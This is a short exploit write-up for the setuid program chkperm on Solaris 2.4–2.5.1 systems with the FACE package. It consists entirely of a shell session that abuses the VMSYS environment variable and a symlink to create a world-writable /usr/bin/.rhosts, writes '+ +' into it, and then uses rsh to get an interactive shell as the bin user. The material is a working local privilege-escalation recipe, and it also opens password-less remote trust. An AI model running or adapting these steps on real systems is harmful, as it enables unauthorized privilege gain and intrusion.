Exploit for/usr/vmsys/bin/chkperm (gets uid/gid = 2 (bin))



Platform: Solaris 2.4, 2.5, 2.5.1, other System V derived

          systems with the FACE package installed





% mkdir /tmp/foo

% mkdir /tmp/fo0/lib

% chmod -R 777 /tmp/fo0

% setenv VMSYS /tmp/fo0

% umask 0000

% ln -s /usr/bin/.rhosts /tmp/fo0/lib/.facerc

% /usr/vmsys/bin/chkperm -l -u fo0

% ls -l /usr/bin/.rhosts

-rw-rw-rw-  2 bin      bin            0 Nov 12 09:41 .rhosts

% echo "+ +" >> /usr/bin/.rhosts

% ls -l /usr/bin/.rhosts

-rw-rw-rw-  2 bin      bin            4 Nov 12 09:41 .rhosts

% rsh -l bin localhost /bin/csh -i

Warning: no access to tty; thus no job control in this shell...

% id

uid=2(bin) gid=2(bin)

%